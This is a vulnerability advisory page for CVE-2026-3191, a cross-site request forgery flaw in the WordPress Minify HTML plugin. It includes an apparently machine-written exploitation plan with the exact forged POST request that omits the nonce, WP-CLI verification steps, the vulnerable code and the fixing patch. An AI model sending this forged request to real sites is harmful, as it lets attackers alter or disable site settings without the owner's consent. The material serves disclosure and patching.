CVE-2026-3191

Minify HTML <= 2.1.12 - Cross-Site Request Forgery to Plugin Settings Update

mediumCross-Site Request Forgery (CSRF)
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
2.1.13
Patched in
1d
Time to patch

Description

The Minify HTML plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.12. This is due to missing or incorrect nonce validation on the 'minify_html_menu_options' function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=2.1.12
PublishedMarch 30, 2026
Last updatedMarch 31, 2026
Affected pluginminify-html-markup

What Changed in the Fix

Changes introduced in v2.1.13

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3191 (Minify HTML CSRF) ## 1. Vulnerability Summary The **Minify HTML** plugin (<= 2.1.12) contains a Cross-Site Request Forgery (CSRF) vulnerability in its settings management logic. The function `minify_html_menu_options` responsible for updating plugin conf…

Show full research plan

Exploitation Research Plan: CVE-2026-3191 (Minify HTML CSRF)

1. Vulnerability Summary

The Minify HTML plugin (<= 2.1.12) contains a Cross-Site Request Forgery (CSRF) vulnerability in its settings management logic. The function minify_html_menu_options responsible for updating plugin configurations fails to properly enforce nonce verification. Specifically, the code only performs wp_verify_nonce if the nonce parameter is present in the $_POST request. By omitting the nonce parameter entirely, an attacker can bypass the check and update site options, provided they can trick an administrator into submitting a forged request.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/options-general.php?page=minify_html_options
  • HTTP Method: POST
  • Vulnerable Action: The settings update logic is triggered when minify_html_submit_hidden is set to Y.
  • Target Parameters:
    • minify_html_submit_hidden: Must be Y.
    • minify_html_active: yes or no.
    • minify_javascript: yes or no.
    • minify_html_comments: yes or no.
    • minify_html_xhtml: yes or no.
    • minify_html_relative: yes or no.
    • minify_html_scheme: yes or no.
    • minify_html_utf8: yes or no.
  • Authentication: Requires an active Administrator session.
  • Preconditions: The plugin must be active.

3. Code Flow

The vulnerability is located in minify-html.php:

  1. Entry Point: The plugin registers an options page via teckel_minify_html_menu():
    add_options_page( 'Minify HTML Options', 'Minify HTML', 'manage_options', 'minify_html_options', 'minify_html_menu_options' );
    
  2. Processing Function: When the page is accessed (via GET or POST), minify_html_menu_options() executes.
  3. Submission Trigger: The function checks for the submission flag:
    if ( isset($_POST[ 'minify_html_submit_hidden' ]) && $_POST[ 'minify_html_submit_hidden' ] == 'Y' ) {
    
  4. Vulnerable Nonce Check (Line ~102):
    if ( isset( $_POST['minify_html_nonce'] ) && !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['minify_html_nonce'] ) ), 'minify-html-nonce' ) ) {
        wp_die( esc_html( 'Form failed nonce verification.' ) );
    }
    
    • Vulnerability: If $_POST['minify_html_nonce'] is not set, the entire if block is skipped. The code proceeds directly to process and save the options via update_option().

4. Nonce Acquisition Strategy

Bypass Strategy: No nonce acquisition is required for this exploit. The vulnerability is a conditional nonce check bypass. By simply omitting the minify_html_nonce key from the POST body, the security check is avoided entirely.

5. Exploitation Strategy

The exploitation will use a forged POST request to disable all minification features.

Step-by-Step Plan:

  1. Session Setup: Use the http_request tool with administrator cookies to simulate the CSRF attack.
  2. Payload Construction:
    • URL: [BASE_URL]/wp-admin/options-general.php?page=minify_html_options
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body:
      minify_html_submit_hidden=Y&minify_html_active=no&minify_javascript=no&minify_html_comments=no&minify_html_xhtml=no&minify_html_relative=no&minify_html_scheme=no&minify_html_utf8=no
      
    • Note: Do not include the minify_html_nonce parameter.
  3. Execution: Send the request. Since minify_html_nonce is missing, the code will skip the verification and execute update_option calls for each parameter.

6. Test Data Setup

  1. Ensure the plugin "Minify HTML" is installed and activated.
  2. Pre-set options to known values using WP-CLI to ensure a clean state:
    wp option update minify_html_active yes
    wp option update minify_javascript yes
    wp option update minify_html_comments yes
    

7. Expected Results

  • The HTTP response should be a 200 OK (the page reloads showing the settings).
  • The response body will contain the settings page HTML, and the inputs for the options (e.g., minify_html_active) will now be set to "no" (unselected or the "no" radio button checked).
  • No "Form failed nonce verification" error should appear.

8. Verification Steps

After the http_request call, verify the database state using WP-CLI:

# Check if the primary toggle was disabled
wp option get minify_html_active 
# Expected output: no

# Check if other settings were changed
wp option get minify_javascript
# Expected output: no

9. Alternative Approaches

If the plugin logic was slightly different (e.g., if it used check_admin_referer without a nonce but verified the Referer header), the exploit would need to ensure the Referer header matches the admin URL. However, in this specific case, the isset() check on the nonce is the primary flaw.

Another impact test: Change minify_html_relative to yes to potentially break site links if the host isn't correctly handled, proving the ability to disrupt site functionality.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Minify HTML plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 2.1.12 because it uses a conditional nonce check. By omitting the nonce parameter from a POST request, an attacker can bypass security verification and update the plugin's configuration settings if they can trick an administrator into performing an action like clicking a link.

Vulnerable Code

// minify-html.php around line 139
	if ( isset($_POST[ 'minify_html_submit_hidden' ]) && $_POST[ 'minify_html_submit_hidden' ] == 'Y' ) {
		if ( isset( $_POST['minify_html_nonce'] ) && !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['minify_html_nonce'] ) ), 'minify-html-nonce' ) ) {
			wp_die( esc_html( 'Form failed nonce verification.' ) );
		}
		if ( isset( $_POST[ 'minify_html_active' ] ) ) $minify_html_active = filter_var ( wp_unslash( $_POST[ 'minify_html_active' ] ), FILTER_SANITIZE_FULL_SPECIAL_CHARS ); else $minify_html_active = 'yes';
		// ... (rest of option saving logic)

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/minify-html-markup/2.1.12/minify-html.php	2025-01-15 15:41:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/minify-html-markup/2.1.13/minify-html.php	2026-03-18 20:31:56.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: Minify HTML
 Plugin URI: https://www.wordpress.org/plugins/minify-html-markup/
 Description: Minify your HTML for faster downloading and cleaning up sloppy looking markup.
-Version: 2.1.12
+Version: 2.1.13
 Author: Tim Eckel
 Author URI: https://www.dogblocker.com
 License: GPLv3 or later
@@ -12,7 +12,7 @@
 */
 
 /*
-	Copyright 2025  Tim Eckel  (email : eckel.tim@gmail.com)
+	Copyright 2026  Tim Eckel  (email : eckel.tim@gmail.com)
 
 	Minify HTML is free software; you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -137,8 +137,8 @@
 	if ( !$minify_html_scheme ) $minify_html_scheme = 'no';
 	if ( !$minify_html_utf8 ) $minify_html_utf8 = 'no';
 	if ( isset($_POST[ 'minify_html_submit_hidden' ]) && $_POST[ 'minify_html_submit_hidden' ] == 'Y' ) {
-		if ( isset( $_POST['minify_html_nonce'] ) && !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['minify_html_nonce'] ) ), 'minify-html-nonce' ) ) {
-			wp_die( esc_html( 'Form failed nonce verification.' ) );
+		if ( !isset( $_POST['minify_html_nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['minify_html_nonce'] ) ), 'minify-html-nonce' ) ) {
+			wp_die( esc_html( 'Security check failed. Nonce missing or invalid.' ) );
 		}
 		if ( isset( $_POST[ 'minify_html_active' ] ) ) $minify_html_active = filter_var ( wp_unslash( $_POST[ 'minify_html_active' ] ), FILTER_SANITIZE_FULL_SPECIAL_CHARS ); else $minify_html_active = 'yes';
 		if ( isset( $_POST[ 'minify_javascript' ] ) ) $minify_javascript = filter_var ( wp_unslash( $_POST[ 'minify_javascript' ] ), FILTER_SANITIZE_FULL_SPECIAL_CHARS ); else $minify_javascript = 'yes';

Exploit Outline

The exploit leverages a flaw where the plugin's settings update logic only verifies the nonce if it is explicitly provided in the POST body. An unauthenticated attacker can craft a malicious HTML page that sends a POST request to /wp-admin/options-general.php?page=minify_html_options. The payload must include 'minify_html_submit_hidden=Y' and the desired settings (e.g., 'minify_html_active=no' to disable minification), but it must NOT include the 'minify_html_nonce' parameter. If an authenticated administrator visits this page, their browser will submit the request, and the plugin will save the malicious settings, bypassing the security check entirely.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.